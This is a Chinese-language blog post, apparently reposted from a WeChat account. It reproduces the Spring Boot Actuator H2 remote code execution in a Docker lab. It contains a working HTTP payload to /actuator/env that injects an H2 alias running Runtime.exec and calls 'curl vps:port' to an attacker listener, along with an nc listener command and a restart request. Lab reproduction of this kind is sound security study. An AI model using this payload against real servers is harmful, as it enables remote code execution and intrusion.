Spring Boot Actuator H2 远程代码执行漏洞复现

admin 2022年4月9日23:55:23安全文章评论83 views1574字阅读5分14秒阅读模式

一、漏洞介绍

         Spring Boot框架是最流行的基于Java的微服务框架之一,可以帮助开发人员快速轻松地部署Java应用程序,加快开发过程。当Spring Boot Actuator配置不当可能造成多种RCE,因为Spring Boot 2.x默认使用HikariCP数据库连接池,所以可通过H2数据库实现RCE。

二、影响版本

Spring Boot 2.x版本

三、漏洞复现

0x01 环境搭建

(1):拉取镜像

git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git

Spring Boot Actuator H2 远程代码执行漏洞复现

(2):启动环境

cd spring-boot-actuator-h2-rcedocker build -t spaceraccoon/spring-boot-rce-lab .docker run -p 8080:8080 -t spaceraccoon/spring-boot-rce-lab

Spring Boot Actuator H2 远程代码执行漏洞复现

Spring Boot Actuator H2 远程代码执行漏洞复现

(3):访问环境

Spring Boot Actuator H2 远程代码执行漏洞复现

环境搭建成功。

0x02 漏洞复现

(1):访问actuator目录

Spring Boot Actuator H2 远程代码执行漏洞复现

(2):配置spring.datasource.hikari.connection-test-query的值

  • 访问actuator/env路径

Spring Boot Actuator H2 远程代码执行漏洞复现

  • 另一台VPS进行监听

nc -lvp 1234

Spring Boot Actuator H2 远程代码执行漏洞复现

  • 添加如下payload

注意:vps指的是监听的主机IP,port指的是监听的端口

POST /actuator/env HTTP/1.1Host: xxx.xxx.xxx.xxx:8080Content-Type: application/jsonContent-Length: 357
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl vps:port');"}

Spring Boot Actuator H2 远程代码执行漏洞复现

  • 再次访问actuator/env路径

Spring Boot Actuator H2 远程代码执行漏洞复现

发现该值已经被修改

  • 重启使配置生效

POST /actuator/env HTTP/1.1Host: xxx.xxx.xxx.xxx:8080Content-Type: application/jsonContent-Length: 2
{}

Spring Boot Actuator H2 远程代码执行漏洞复现

  • 成功获取数据包

Spring Boot Actuator H2 远程代码执行漏洞复现

命令。目前还没解决。

0x03 使用脚本检测

下载链接:https://github.com/rabbitmask/SB-Actuator

Spring Boot Actuator H2 远程代码执行漏洞复现

这个脚本不能直接getshell,但是可以检测出可能存在RCE。

四、修复建议

0x01 升级到安全版本

Spring Boot Actuator H2 远程代码执行漏洞复现

原文始发于微信公众号(想走安全的小白):Spring Boot Actuator H2 远程代码执行漏洞复现

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月9日23:55:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Spring Boot Actuator H2 远程代码执行漏洞复现 http://cn-sec.com/archives/886099.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: